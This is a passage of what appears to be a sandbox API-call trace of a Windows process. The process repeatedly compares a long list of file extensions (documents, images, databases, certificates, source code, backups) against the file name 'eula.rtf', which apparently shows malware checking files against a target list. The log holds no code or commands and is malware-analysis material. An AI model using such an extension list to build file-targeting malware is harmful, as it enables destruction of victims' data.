(lpString1=".ai5", lpString2=".rtf") returned -1 [0100.204] lstrlenW (lpString=".ai6") returned 4 [0100.205] lstrcmpiW (lpString1=".ai6", lpString2=".rtf") returned -1 [0100.205] lstrlenW (lpString=".ai7") returned 4 [0100.205] lstrcmpiW (lpString1=".ai7", lpString2=".rtf") returned -1 [0100.205] lstrlenW (lpString=".ai8") returned 4 [0100.205] lstrcmpiW (lpString1=".ai8", lpString2=".rtf") returned -1 [0100.205] lstrlenW (lpString=".anim") returned 5 [0100.205] lstrcmpiW (lpString1=".anim", lpString2="a.rtf") returned -1 [0100.205] lstrlenW (lpString=".arw") returned 4 [0100.205] lstrcmpiW (lpString1=".arw", lpString2=".rtf") returned -1 [0100.205] lstrlenW (lpString=".as") returned 3 [0100.205] lstrcmpiW (lpString1=".as", lpString2="rtf") returned -1 [0100.205] lstrlenW (lpString=".asa") returned 4 [0100.205] lstrcmpiW (lpString1=".asa", lpString2=".rtf") returned -1 [0100.205] lstrlenW (lpString=".asc") returned 4 [0100.205] lstrcmpiW (lpString1=".asc", lpString2=".rtf") returned -1 [0100.205] lstrlenW (lpString=".ascx") returned 5 [0100.205] lstrcmpiW (lpString1=".ascx", lpString2="a.rtf") returned -1 [0100.205] lstrlenW (lpString=".asm") returned 4 [0100.205] lstrcmpiW (lpString1=".asm", lpString2=".rtf") returned -1 [0100.205] lstrlenW (lpString=".asmx") returned 5 [0100.205] lstrcmpiW (lpString1=".asmx", lpString2="a.rtf") returned -1 [0100.205] lstrlenW (lpString=".asp") returned 4 [0100.205] lstrcmpiW (lpString1=".asp", lpString2=".rtf") returned -1 [0100.205] lstrlenW (lpString=".aspx") returned 5 [0100.205] lstrcmpiW (lpString1=".aspx", lpString2="a.rtf") returned -1 [0100.205] lstrlenW (lpString=".asr") returned 4 [0100.205] lstrcmpiW (lpString1=".asr", lpString2=".rtf") returned -1 [0100.206] lstrlenW (lpString=".asx") returned 4 [0100.206] lstrcmpiW (lpString1=".asx", lpString2=".rtf") returned -1 [0100.206] lstrlenW (lpString=".avi") returned 4 [0100.206] lstrcmpiW (lpString1=".avi", lpString2=".rtf") returned -1 [0100.206] lstrlenW (lpString=".avs") returned 4 [0100.206] lstrcmpiW (lpString1=".avs", lpString2=".rtf") returned -1 [0100.206] lstrlenW (lpString=".backup") returned 7 [0100.206] lstrcmpiW (lpString1=".backup", lpString2="ula.rtf") returned -1 [0100.206] lstrlenW (lpString=".bak") returned 4 [0100.206] lstrcmpiW (lpString1=".bak", lpString2=".rtf") returned -1 [0100.206] lstrlenW (lpString=".bay") returned 4 [0100.206] lstrcmpiW (lpString1=".bay", lpString2=".rtf") returned -1 [0100.206] lstrlenW (lpString=".bd") returned 3 [0100.206] lstrcmpiW (lpString1=".bd", lpString2="rtf") returned -1 [0100.206] lstrlenW (lpString=".bin") returned 4 [0100.206] lstrcmpiW (lpString1=".bin", lpString2=".rtf") returned -1 [0100.206] lstrlenW (lpString=".bmp") returned 4 [0100.206] lstrcmpiW (lpString1=".bmp", lpString2=".rtf") returned -1 [0100.206] lstrlenW (lpString=".bz2") returned 4 [0100.206] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0100.206] lstrlenW (lpString=".c") returned 2 [0100.206] lstrcmpiW (lpString1=".c", lpString2="tf") returned -1 [0100.206] lstrlenW (lpString=".cdr") returned 4 [0100.206] lstrcmpiW (lpString1=".cdr", lpString2=".rtf") returned -1 [0100.206] lstrlenW (lpString=".cer") returned 4 [0100.206] lstrcmpiW (lpString1=".cer", lpString2=".rtf") returned -1 [0100.206] lstrlenW (lpString=".cf") returned 3 [0100.206] lstrcmpiW (lpString1=".cf", lpString2="rtf") returned -1 [0100.207] lstrlenW (lpString=".cfc") returned 4 [0100.207] lstrcmpiW (lpString1=".cfc", lpString2=".rtf") returned -1 [0100.207] lstrlenW (lpString=".cfm") returned 4 [0100.207] lstrcmpiW (lpString1=".cfm", lpString2=".rtf") returned -1 [0100.207] lstrlenW (lpString=".cfml") returned 5 [0100.207] lstrcmpiW (lpString1=".cfml", lpString2="a.rtf") returned -1 [0100.207] lstrlenW (lpString=".cfu") returned 4 [0100.207] lstrcmpiW (lpString1=".cfu", lpString2=".rtf") returned -1 [0100.207] lstrlenW (lpString=".chm") returned 4 [0100.207] lstrcmpiW (lpString1=".chm", lpString2=".rtf") returned -1 [0100.207] lstrlenW (lpString=".cin") returned 4 [0100.207] lstrcmpiW (lpString1=".cin", lpString2=".rtf") returned -1 [0100.207] lstrlenW (lpString=".class") returned 6 [0100.207] lstrcmpiW (lpString1=".class", lpString2="la.rtf") returned -1 [0100.207] lstrlenW (lpString=".clx") returned 4 [0100.207] lstrcmpiW (lpString1=".clx", lpString2=".rtf") returned -1 [0100.207] lstrlenW (lpString=".config") returned 7 [0100.207] lstrcmpiW (lpString1=".config", lpString2="ula.rtf") returned -1 [0100.207] lstrlenW (lpString=".cpp") returned 4 [0100.207] lstrcmpiW (lpString1=".cpp", lpString2=".rtf") returned -1 [0100.207] lstrlenW (lpString=".cr2") returned 4 [0100.207] lstrcmpiW (lpString1=".cr2", lpString2=".rtf") returned -1 [0100.207] lstrlenW (lpString=".crt") returned 4 [0100.207] lstrcmpiW (lpString1=".crt", lpString2=".rtf") returned -1 [0100.207] lstrlenW (lpString=".crw") returned 4 [0100.207] lstrcmpiW (lpString1=".crw", lpString2=".rtf") returned -1 [0100.208] lstrlenW (lpString=".cs") returned 3 [0100.208] lstrcmpiW (lpString1=".cs", lpString2="rtf") returned -1 [0100.208] lstrlenW (lpString=".css") returned 4 [0100.208] lstrcmpiW (lpString1=".css", lpString2=".rtf") returned -1 [0100.208] lstrlenW (lpString=".csv") returned 4 [0100.208] lstrcmpiW (lpString1=".csv", lpString2=".rtf") returned -1 [0100.208] lstrlenW (lpString=".cub") returned 4 [0100.208] lstrcmpiW (lpString1=".cub", lpString2=".rtf") returned -1 [0100.208] lstrlenW (lpString=".dae") returned 4 [0100.208] lstrcmpiW (lpString1=".dae", lpString2=".rtf") returned -1 [0100.208] lstrlenW (lpString=".dat") returned 4 [0100.208] lstrcmpiW (lpString1=".dat", lpString2=".rtf") returned -1 [0100.208] lstrlenW (lpString=".db") returned 3 [0100.208] lstrcmpiW (lpString1=".db", lpString2="rtf") returned -1 [0100.208] lstrlenW (lpString=".dbf") returned 4 [0100.208] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0100.208] lstrlenW (lpString=".dbx") returned 4 [0100.208] lstrcmpiW (lpString1=".dbx", lpString2=".rtf") returned -1 [0100.208] lstrlenW (lpString=".dc3") returned 4 [0100.208] lstrcmpiW (lpString1=".dc3", lpString2=".rtf") returned -1 [0100.208] lstrlenW (lpString=".dcm") returned 4 [0100.208] lstrcmpiW (lpString1=".dcm", lpString2=".rtf") returned -1 [0100.208] lstrlenW (lpString=".dcr") returned 4 [0100.208] lstrcmpiW (lpString1=".dcr", lpString2=".rtf") returned -1 [0100.208] lstrlenW (lpString=".der") returned 4 [0100.208] lstrcmpiW (lpString1=".der", lpString2=".rtf") returned -1 [0100.208] lstrlenW (lpString=".dib") returned 4 [0100.209] lstrcmpiW (lpString1=".dib", lpString2=".rtf") returned -1 [0100.209] lstrlenW (lpString=".dic") returned 4 [0100.209] lstrcmpiW (lpString1=".dic", lpString2=".rtf") returned -1 [0100.209] lstrlenW (lpString=".dif") returned 4 [0100.209] lstrcmpiW (lpString1=".dif", lpString2=".rtf") returned -1 [0100.209] lstrlenW (lpString=".divx") returned 5 [0100.209] lstrcmpiW (lpString1=".divx", lpString2="a.rtf") returned -1 [0100.209] lstrlenW (lpString=".djvu") returned 5 [0100.209] lstrcmpiW (lpString1=".djvu", lpString2="a.rtf") returned -1 [0100.209] lstrlenW (lpString=".dng") returned 4 [0100.209] lstrcmpiW (lpString1=".dng", lpString2=".rtf") returned -1 [0100.209] lstrlenW (lpString=".doc") returned 4 [0100.209] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0100.209] lstrlenW (lpString=".docm") returned 5 [0100.209] lstrcmpiW (lpString1=".docm", lpString2="a.rtf") returned -1 [0100.209] lstrlenW (lpString=".docx") returned 5 [0100.209] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0100.209] lstrlenW (lpString=".dot") returned 4 [0100.209] lstrcmpiW (lpString1=".dot", lpString2=".rtf") returned -1 [0100.209] lstrlenW (lpString=".dotm") returned 5 [0100.209] lstrcmpiW (lpString1=".dotm", lpString2="a.rtf") returned -1 [0100.209] lstrlenW (lpString=".dotx") returned 5 [0100.209] lstrcmpiW (lpString1=".dotx", lpString2="a.rtf") returned -1 [0100.209] lstrlenW (lpString=".dpx") returned 4 [0100.209] lstrcmpiW (lpString1=".dpx", lpString2=".rtf") returned -1 [0100.209] lstrlenW (lpString=".dqy") returned 4 [0100.209] lstrcmpiW (lpString1=".dqy", lpString2=".rtf") returned -1 [0100.209] lstrlenW (lpString=".dsn") returned 4 [0100.210] lstrcmpiW (lpString1=".dsn", lpString2=".rtf") returned -1 [0100.210] lstrlenW (lpString=".dt") returned 3 [0100.210] lstrcmpiW (lpString1=".dt", lpString2="rtf") returned -1 [0100.210] lstrlenW (lpString=".dtd") returned 4 [0100.210] lstrcmpiW (lpString1=".dtd", lpString2=".rtf") returned -1 [0100.210] lstrlenW (lpString=".dwg") returned 4 [0100.210] lstrcmpiW (lpString1=".dwg", lpString2=".rtf") returned -1 [0100.210] lstrlenW (lpString=".dwt") returned 4 [0100.210] lstrcmpiW (lpString1=".dwt", lpString2=".rtf") returned -1 [0100.210] lstrlenW (lpString=".dx") returned 3 [0100.210] lstrcmpiW (lpString1=".dx", lpString2="rtf") returned -1 [0100.210] lstrlenW (lpString=".dxf") returned 4 [0100.210] lstrcmpiW (lpString1=".dxf", lpString2=".rtf") returned -1 [0100.210] lstrlenW (lpString=".edml") returned 5 [0100.210] lstrcmpiW (lpString1=".edml", lpString2="a.rtf") returned -1 [0100.210] lstrlenW (lpString=".efd") returned 4 [0100.210] lstrcmpiW (lpString1=".efd", lpString2=".rtf") returned -1 [0100.210] lstrlenW (lpString=".elf") returned 4 [0100.210] lstrcmpiW (lpString1=".elf", lpString2=".rtf") returned -1 [0100.210] lstrlenW (lpString=".emf") returned 4 [0100.210] lstrcmpiW (lpString1=".emf", lpString2=".rtf") returned -1 [0100.210] lstrlenW (lpString=".emz") returned 4 [0100.210] lstrcmpiW (lpString1=".emz", lpString2=".rtf") returned -1 [0100.210] lstrlenW (lpString=".epf") returned 4 [0100.210] lstrcmpiW (lpString1=".epf", lpString2=".rtf") returned -1 [0100.210] lstrlenW (lpString=".eps") returned 4 [0100.210] lstrcmpiW (lpString1=".eps", lpString2=".rtf") returned -1 [0100.211] lstrlenW (lpString=".epsf") returned 5 [0100.211] lstrcmpiW (lpString1=".epsf", lpString2="a.rtf") returned -1 [0100.211] lstrlenW (lpString=".epsp") returned 5 [0100.211] lstrcmpiW (lpString1=".epsp", lpString2="a.rtf") returned -1 [0100.211] lstrlenW (lpString=".erf") returned 4 [0100.211] lstrcmpiW (lpString1=".erf", lpString2=".rtf") returned -1 [0100.211] lstrlenW (lpString=".exr") returned 4 [0100.211] lstrcmpiW (lpString1=".exr", lpString2=".rtf") returned -1 [0100.211] lstrlenW (lpString=".f4v") returned 4 [0100.211] lstrcmpiW (lpString1=".f4v", lpString2=".rtf") returned -1 [0100.211] lstrlenW (lpString=".fido") returned 5 [0100.211] lstrcmpiW (lpString1=".fido", lpString2="a.rtf") returned -1 [0100.211] lstrlenW (lpString=".flm") returned 4 [0100.211] lstrcmpiW (lpString1=".flm", lpString2=".rtf") returned -1 [0100.211] lstrlenW (lpString=".flv") returned 4 [0100.211] lstrcmpiW (lpString1=".flv", lpString2=".rtf") returned -1 [0100.211] lstrlenW (lpString=".frm") returned 4 [0100.211] lstrcmpiW (lpString1=".frm", lpString2=".rtf") returned -1 [0100.211] lstrlenW (lpString=".fxg") returned 4 [0100.211] lstrcmpiW (lpString1=".fxg", lpString2=".rtf") returned -1 [0100.211] lstrlenW (lpString=".geo") returned 4 [0100.211] lstrcmpiW (lpString1=".geo", lpString2=".rtf") returned -1 [0100.211] lstrlenW (lpString=".gif") returned 4 [0100.211] lstrcmpiW (lpString1=".gif", lpString2=".rtf") returned -1 [0100.211] lstrlenW (lpString=".grs") returned 4 [0100.211] lstrcmpiW (lpString1=".grs", lpString2=".rtf") returned -1 [0100.211] lstrlenW (lpString=".gz") returned 3 [0100.211] lstrcmpiW (lpString1=".gz", lpString2="rtf") returned -1 [0100.212] lstrlenW (lpString=".h") returned 2 [0100.212] lstrcmpiW (lpString1=".h", lpString2="tf") returned -1 [0100.212] lstrlenW (lpString=".hdr") returned 4 [0100.212] lstrcmpiW (lpString1=".hdr", lpString2=".rtf") returned -1 [0100.212] lstrlenW (lpString=".hpp") returned 4 [0100.212] lstrcmpiW (lpString1=".hpp", lpString2=".rtf") returned -1 [0100.212] lstrlenW (lpString=".hta") returned 4 [0100.212] lstrcmpiW (lpString1=".hta", lpString2=".rtf") returned -1 [0100.212] lstrlenW (lpString=".htc") returned 4 [0100.212] lstrcmpiW (lpString1=".htc", lpString2=".rtf") returned -1 [0100.212] lstrlenW (lpString=".htm") returned 4 [0100.212] lstrcmpiW (lpString1=".htm", lpString2=".rtf") returned -1 [0100.212] lstrlenW (lpString=".html") returned 5 [0100.212] lstrcmpiW (lpString1=".html", lpString2="a.rtf") returned -1 [0100.212] lstrlenW (lpString=".icb") returned 4 [0100.212] lstrcmpiW (lpString1=".icb", lpString2=".rtf") returned -1 [0100.212] lstrlenW (lpString=".ics") returned 4 [0100.212] lstrcmpiW (lpString1=".ics", lpString2=".rtf") returned -1 [0100.212] lstrlenW (lpString=".iff") returned 4 [0100.212] lstrcmpiW (lpString1=".iff", lpString2=".rtf") returned -1 [0100.212] lstrlenW (lpString=".inc") returned 4 [0100.212] lstrcmpiW (lpString1=".inc", lpString2=".rtf") returned -1 [0100.212] lstrlenW (lpString=".indd") returned 5 [0100.212] lstrcmpiW (lpString1=".indd", lpString2="a.rtf") returned -1 [0100.212] lstrlenW (lpString=".ini") returned 4 [0100.212] lstrcmpiW (lpString1=".ini", lpString2=".rtf") returned -1 [0100.212] lstrlenW (lpString=".iqy") returned 4 [0100.212] lstrcmpiW (lpString1=".iqy", lpString2=".rtf") returned -1 [0100.212] lstrlenW (lpString=".j2c") returned 4 [0100.213] lstrcmpiW (lpString1=".j2c", lpString2=".rtf") returned -1 [0100.213] lstrlenW (lpString=".j2k") returned 4 [0100.213] lstrcmpiW (lpString1=".j2k", lpString2=".rtf") returned -1 [0100.213] lstrlenW (lpString=".java") returned 5 [0100.213] lstrcmpiW (lpString1=".java", lpString2="a.rtf") returned -1 [0100.213] lstrlenW (lpString=".jp2") returned 4 [0100.213] lstrcmpiW (lpString1=".jp2", lpString2=".rtf") returned -1 [0100.213] lstrlenW (lpString=".jpc") returned 4 [0100.213] lstrcmpiW (lpString1=".jpc", lpString2=".rtf") returned -1 [0100.213] lstrlenW (lpString=".jpe") returned 4 [0100.213] lstrcmpiW (lpString1=".jpe", lpString2=".rtf") returned -1 [0100.213] lstrlenW (lpString=".jpeg") returned 5 [0100.213] lstrcmpiW (lpString1=".jpeg", lpString2="a.rtf") returned -1 [0100.213] lstrlenW (lpString=".jpf") returned 4 [0100.213] lstrcmpiW (lpString1=".jpf", lpString2=".rtf") returned -1 [0100.213] lstrlenW (lpString=".jpg") returned 4 [0100.213] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0100.213] lstrlenW (lpString=".jpx") returned 4 [0100.213] lstrcmpiW (lpString1=".jpx", lpString2=".rtf") returned -1 [0100.213] lstrlenW (lpString=".js") returned 3 [0100.213] lstrcmpiW (lpString1=".js", lpString2="rtf") returned -1 [0100.213] lstrlenW (lpString=".jsf") returned 4 [0100.213] lstrcmpiW (lpString1=".jsf", lpString2=".rtf") returned -1 [0100.214] lstrlenW (lpString=".json") returned 5 [0100.214] lstrcmpiW (lpString1=".json", lpString2="a.rtf") returned -1 [0100.214] lstrlenW (lpString=".jsp") returned 4 [0100.214] lstrcmpiW (lpString1=".jsp", lpString2=".rtf") returned -1 [0100.214] lstrlenW (lpString=".kdc") returned 4 [0100.214] lstrcmpiW (lpString1=".kdc", lpString2=".rtf") returned -1 [0100.214] lstrlenW (lpString=".kmz") returned 4 [0100.214] lstrcmpiW (lpString1=".kmz", lpString2=".rtf") returned -1 [0100.214] lstrlenW (lpString=".kwm") returned 4 [0100.214] lstrcmpiW (lpString1=".kwm", lpString2=".rtf") returned -1 [0100.214] lstrlenW (lpString=".lasso") returned 6 [0100.214] lstrcmpiW (lpString1=".lasso", lpString2="la.rtf") returned -1 [0100.214] lstrlenW (lpString=".lbi") returned 4 [0100.214] lstrcmpiW (lpString1=".lbi", lpString2=".rtf") returned -1 [0100.214] lstrlenW (lpString=".lgf") returned 4 [0100.214] lstrcmpiW (lpString1=".lgf", lpString2=".rtf") returned -1 [0100.214] lstrlenW (lpString=".lgp") returned 4 [0100.214] lstrcmpiW (lpString1=".lgp", lpString2=".rtf") returned -1 [0100.214] lstrlenW (lpString=".log") returned 4 [0100.214] lstrcmpiW (lpString1=".log", lpString2=".rtf") returned -1 [0100.214] lstrlenW (lpString=".m1v") returned 4 [0100.214] lstrcmpiW (lpString1=".m1v", lpString2=".rtf") returned -1 [0100.214] lstrlenW (lpString=".m4a") returned 4 [0100.214] lstrcmpiW (lpString1=".m4a", lpString2=".rtf") returned -1 [0100.214] lstrlenW (lpString=".m4v") returned 4 [0100.214] lstrcmpiW (lpString1=".m4v", lpString2=".rtf") returned -1 [0100.214] lstrlenW (lpString=".max") returned 4 [0100.214] lstrcmpiW (lpString1=".max", lpString2=".rtf") returned -1 [0100.215] lstrlenW (lpString=".md") returned 3 [0100.215] lstrcmpiW (lpString1=".md", lpString2="rtf") returned -1 [0100.215] lstrlenW (lpString=".mda") returned 4 [0100.215] lstrcmpiW (lpString1=".mda", lpString2=".rtf") returned -1 [0100.215] lstrlenW (lpString=".mdb") returned 4 [0100.215] lstrcmpiW (lpString1=".mdb", lpString2=".rtf") returned -1 [0100.215] lstrlenW (lpString=".mde") returned 4 [0100.215] lstrcmpiW (lpString1=".mde", lpString2=".rtf") returned -1 [0100.215] lstrlenW (lpString=".mdf") returned 4 [0100.215] lstrcmpiW (lpString1=".mdf", lpString2=".rtf") returned -1 [0100.215] lstrlenW (lpString=".mdw") returned 4 [0100.215] lstrcmpiW (lpString1=".mdw", lpString2=".rtf") returned -1 [0100.215] lstrlenW (lpString=".mef") returned 4 [0100.215] lstrcmpiW (lpString1=".mef", lpString2=".rtf") returned -1 [0100.215] lstrlenW (lpString=".mft") returned 4 [0100.215] lstrcmpiW (lpString1=".mft", lpString2=".rtf") returned -1 [0100.215] lstrlenW (lpString=".mfw") returned 4 [0100.215] lstrcmpiW (lpString1=".mfw", lpString2=".rtf") returned -1 [0100.215] lstrlenW (lpString=".mht") returned 4 [0100.215] lstrcmpiW (lpString1=".mht", lpString2=".rtf") returned -1 [0100.215] lstrlenW (lpString=".mhtml") returned 6 [0100.215] lstrcmpiW (lpString1=".mhtml", lpString2="la.rtf") returned -1 [0100.215] lstrlenW (lpString=".mka") returned 4 [0100.215] lstrcmpiW (lpString1=".mka", lpString2=".rtf") returned -1 [0100.215] lstrlenW (lpString=".mkidx") returned 6 [0100.215] lstrcmpiW (lpString1=".mkidx", lpString2="la.rtf") returned -1 [0100.215] lstrlenW (lpString=".mkv") returned 4 [0100.216] lstrcmpiW (lpString1=".mkv", lpString2=".rtf") returned -1 [0100.216] lstrlenW (lpString=".mos") returned 4 [0100.216] lstrcmpiW (lpString1=".mos", lpString2=".rtf") returned -1 [0100.216] lstrlenW (lpString=".mov") returned 4 [0100.216] lstrcmpiW (lpString1=".mov", lpString2=".rtf") returned -1 [0100.216] lstrlenW (lpString=".mp3") returned 4 [0100.216] lstrcmpiW (lpString1=".mp3", lpString2=".rtf") returned -1 [0100.216] lstrlenW (lpString=".mp4") returned 4 [0100.216] lstrcmpiW (lpString1=".mp4", lpString2=".rtf") returned -1 [0100.216] lstrlenW (lpString=".mpeg") returned 5 [0100.216] lstrcmpiW (lpString1=".mpeg", lpString2="a.rtf") returned -1 [0100.216] lstrlenW (lpString=".mpg") returned 4 [0100.216] lstrcmpiW (lpString1=".mpg", lpString2=".rtf") returned -1 [0100.216] lstrlenW (lpString=".mpv") returned 4 [0100.216] lstrcmpiW (lpString1=".mpv", lpString2=".rtf") returned -1 [0100.216] lstrlenW (lpString=".mrw") returned 4 [0100.216] lstrcmpiW (lpString1=".mrw", lpString2=".rtf") returned -1 [0100.216] lstrlenW (lpString=".msg") returned 4 [0100.216] lstrcmpiW (lpString1=".msg", lpString2=".rtf") returned -1 [0100.216] lstrlenW (lpString=".mxl") returned 4 [0100.216] lstrcmpiW (lpString1=".mxl", lpString2=".rtf") returned -1 [0100.216] lstrlenW (lpString=".myd") returned 4 [0100.216] lstrcmpiW (lpString1=".myd", lpString2=".rtf") returned -1 [0100.216] lstrlenW (lpString=".myi") returned 4 [0100.216] lstrcmpiW (lpString1=".myi", lpString2=".rtf") returned -1 [0100.216] lstrlenW (lpString=".nef") returned 4 [0100.216] lstrcmpiW (lpString1=".nef", lpString2=".rtf") returned -1 [0100.216] lstrlenW (lpString=".nrw") returned 4 [0100.217] lstrcmpiW (lpString1=".nrw", lpString2=".rtf") returned -1 [0100.217] lstrlenW (lpString=".obj") returned 4 [0100.217] lstrcmpiW (lpString1=".obj", lpString2=".rtf") returned -1 [0100.217] lstrlenW (lpString=".odb") returned 4 [0100.217] lstrcmpiW (lpString1=".odb", lpString2=".rtf") returned -1 [0100.217] lstrlenW (lpString=".odc") returned 4 [0100.217] lstrcmpiW (lpString1=".odc", lpString2=".rtf") returned -1 [0100.217] lstrlenW (lpString=".odm") returned 4 [0100.217] lstrcmpiW (lpString1=".odm", lpString2=".rtf") returned -1 [0100.217] lstrlenW (lpString=".odp") returned 4 [0100.217] lstrcmpiW (lpString1=".odp", lpString2=".rtf") returned -1 [0100.217] lstrlenW (lpString=".ods") returned 4 [0100.217] lstrcmpiW (lpString1=".ods", lpString2=".rtf") returned -1 [0100.217] lstrlenW (lpString=".oft") returned 4 [0100.217] lstrcmpiW (lpString1=".oft", lpString2=".rtf") returned -1 [0100.217] lstrlenW (lpString=".one") returned 4 [0100.217] lstrcmpiW (lpString1=".one", lpString2=".rtf") returned -1 [0100.217] lstrlenW (lpString=".onepkg") returned 7 [0100.217] lstrcmpiW (lpString1=".onepkg", lpString2="ula.rtf") returned -1 [0100.217] lstrlenW (lpString=".onetoc2") returned 8 [0100.217] lstrcmpiW (lpString1=".onetoc2", lpString2="eula.rtf") returned -1 [0100.217] lstrlenW (lpString=".opt") returned 4 [0100.217] lstrcmpiW (lpString1=".opt", lpString2=".rtf") returned -1 [0100.217] lstrlenW (lpString=".oqy") returned 4 [0100.217] lstrcmpiW (lpString1=".oqy", lpString2=".rtf") returned -1 [0100.217] lstrlenW (lpString=".orf") returned 4 [0100.218] lstrcmpiW (lpString1=".orf", lpString2=".rtf") returned -1 [0100.218] lstrlenW (lpString=".p12") returned 4 [0100.218] lstrcmpiW (lpString1=".p12", lpString2=".rtf") returned -1 [0100.218] lstrlenW (lpString=".p7b") returned 4 [0100.218] lstrcmpiW (lpString1=".p7b", lpString2=".rtf") returned -1 [0100.218] lstrlenW (lpString=".p7c") returned 4 [0100.218] lstrcmpiW (lpString1=".p7c", lpString2=".rtf") returned -1 [0100.218] lstrlenW (lpString=".pam") returned 4 [0100.218] lstrcmpiW (lpString1=".pam", lpString2=".rtf") returned -1 [0100.218] lstrlenW (lpString=".pbm") returned 4 [0100.218] lstrcmpiW (lpString1=".pbm", lpString2=".rtf") returned -1 [0100.218] lstrlenW (lpString=".pct") returned 4 [0100.218] lstrcmpiW (lpString1=".pct", lpString2=".rtf") returned -1 [0100.218] lstrlenW (lpString=".pcx") returned 4 [0100.218] lstrcmpiW (lpString1=".pcx", lpString2=".rtf") returned -1 [0100.218] lstrlenW (lpString=".pdd") returned 4 [0100.218] lstrcmpiW (lpString1=".pdd", lpString2=".rtf") returned -1 [0100.218] lstrlenW (lpString=".pdf") returned 4 [0100.218] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0100.218] lstrlenW (lpString=".pdp") returned 4 [0100.218] lstrcmpiW (lpString1=".pdp", lpString2=".rtf") returned -1 [0100.218] lstrlenW (lpString=".pef") returned 4 [0100.218] lstrcmpiW (lpString1=".pef", lpString2=".rtf") returned -1 [0100.218] lstrlenW (lpString=".pem") returned 4 [0100.218] lstrcmpiW (lpString1=".pem", lpString2=".rtf") returned -1 [0100.218] lstrlenW (lpString=".pff") returned 4 [0100.218] lstrcmpiW (lpString1=".pff", lpString2=".rtf") returned -1 [0100.218] lstrlenW (lpString=".pfm") returned 4 [0100.219] lstrcmpiW (lpString1=".pfm", lpString2=".rtf") returned -1 [0100.219] lstrlenW (lpString=".pfx") returned 4 [0100.219] lstrcmpiW (lpString1=".pfx", lpString2=".rtf") returned -1 [0100.219] lstrlenW (lpString=".pgm") returned 4 [0100.219] lstrcmpiW (lpString1=".pgm", lpString2=".rtf") returned -1 [0100.219] lstrlenW (lpString=".php") returned 4 [0100.219] lstrcmpiW (lpString1=".php", lpString2=".rtf") returned -1 [0100.219] lstrlenW (lpString=".php3") returned 5 [0100.219] lstrcmpiW (lpString1=".php3", lpString2="a.rtf") returned -1 [0100.219] lstrlenW (lpString=".php4") returned 5 [0100.219] lstrcmpiW (lpString1=".php4", lpString2="a.rtf") returned -1 [0100.219] lstrlenW (lpString=".php5") returned 5 [0100.219] lstrcmpiW (lpString1=".php5", lpString2="a.rtf") returned -1 [0100.219] lstrlenW (lpString=".phtml") returned 6 [0100.219] lstrcmpiW (lpString1=".phtml", lpString2="la.rtf") returned -1 [0100.219] lstrlenW (lpString=".pict") returned 5 [0100.219] lstrcmpiW (lpString1=".pict", lpString2="a.rtf") returned -1 [0100.219] lstrlenW (lpString=".pl") returned 3 [0100.219] lstrcmpiW (lpString1=".pl", lpString2="rtf") returned -1 [0100.219] lstrlenW (lpString=".pls") returned 4 [0100.219] lstrcmpiW (lpString1=".pls", lpString2=".rtf") returned -1 [0100.219] lstrlenW (lpString=".pm") returned 3 [0100.219] lstrcmpiW (lpString1=".pm", lpString2="rtf") returned -1 [0100.219] lstrlenW (lpString=".png") returned 4 [0100.219] lstrcmpiW (lpString1=".png", lpString2=".rtf") returned -1 [0100.219] lstrlenW (lpString=".pnm") returned 4 [0100.219] lstrcmpiW (lpString1=".pnm", lpString2=".rtf") returned -1 [0100.220] lstrlenW (lpString=".pot") returned 4 [0100.220] lstrcmpiW (lpString1=".pot", lpString2=".rtf") returned -1 [0100.220] lstrlenW (lpString=".potm") returned 5 [0100.220] lstrcmpiW (lpString1=".potm", lpString2="a.rtf") returned -1 [0100.220] lstrlenW (lpString=".potx") returned 5 [0100.220] lstrcmpiW (lpString1=".potx", lpString2="a.rtf") returned -1 [0100.220] lstrlenW (lpString=".ppa") returned 4 [0100.220] lstrcmpiW (lpString1=".ppa", lpString2=".rtf") returned -1 [0100.220] lstrlenW (lpString=".ppam") returned 5 [0100.220] lstrcmpiW (lpString1=".ppam", lpString2="a.rtf") returned -1 [0100.220] lstrlenW (lpString=".ppm") returned 4 [0100.220] lstrcmpiW (lpString1=".ppm", lpString2=".rtf") returned -1 [0100.220] lstrlenW (lpString=".pps") returned 4 [0100.220] lstrcmpiW (lpString1=".pps", lpString2=".rtf") returned -1 [0100.220] lstrlenW (lpString=".ppsm") returned 5 [0100.220] lstrcmpiW (lpString1=".ppsm", lpString2="a.rtf") returned -1 [0100.220] lstrlenW (lpString=".ppt") returned 4 [0100.220] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0100.220] lstrlenW (lpString=".pptm") returned 5 [0100.220] lstrcmpiW (lpString1=".pptm", lpString2="a.rtf") returned -1 [0100.220] lstrlenW (lpString=".pptx") returned 5 [0100.220] lstrcmpiW (lpString1=".pptx", lpString2="a.rtf") returned -1 [0100.220] lstrlenW (lpString=".prn") returned 4 [0100.220] lstrcmpiW (lpString1=".prn", lpString2=".rtf") returned -1 [0100.220] lstrlenW (lpString=".ps") returned 3 [0100.220] lstrcmpiW (lpString1=".ps", lpString2="rtf") returned -1 [0100.220] lstrlenW (lpString=".psb") returned 4 [0100.221] lstrcmpiW (lpString1=".psb", lpString2=".rtf") returned -1 [0100.221] lstrlenW (lpString=".psd") returned 4 [0100.221] lstrcmpiW (lpString1=".psd", lpString2=".rtf") returned -1 [0100.221] lstrlenW (lpString=".pst") returned 4 [0100.221] lstrcmpiW (lpString1=".pst", lpString2=".rtf") returned -1 [0100.221] lstrlenW (lpString=".ptx") returned 4 [0100.221] lstrcmpiW (lpString1=".ptx", lpString2=".rtf") returned -1 [0100.221] lstrlenW (lpString=".pub") returned 4 [0100.221] lstrcmpiW (lpString1=".pub", lpString2=".rtf") returned -1 [0100.221] lstrlenW (lpString=".pwm") returned 4 [0100.221] lstrcmpiW (lpString1=".pwm", lpString2=".rtf") returned -1 [0100.221] lstrlenW (lpString=".pxr") returned 4 [0100.221] lstrcmpiW (lpString1=".pxr", lpString2=".rtf") returned -1 [0100.221] lstrlenW (lpString=".py") returned 3 [0100.221] lstrcmpiW (lpString1=".py", lpString2="rtf") returned -1 [0100.221] lstrlenW (lpString=".qt") returned 3 [0100.221] lstrcmpiW (lpString1=".qt", lpString2="rtf") returned -1 [0100.221] lstrlenW (lpString=".r3d") returned 4 [0100.221] lstrcmpiW (lpString1=".r3d", lpString2=".rtf") returned -1 [0100.221] lstrlenW 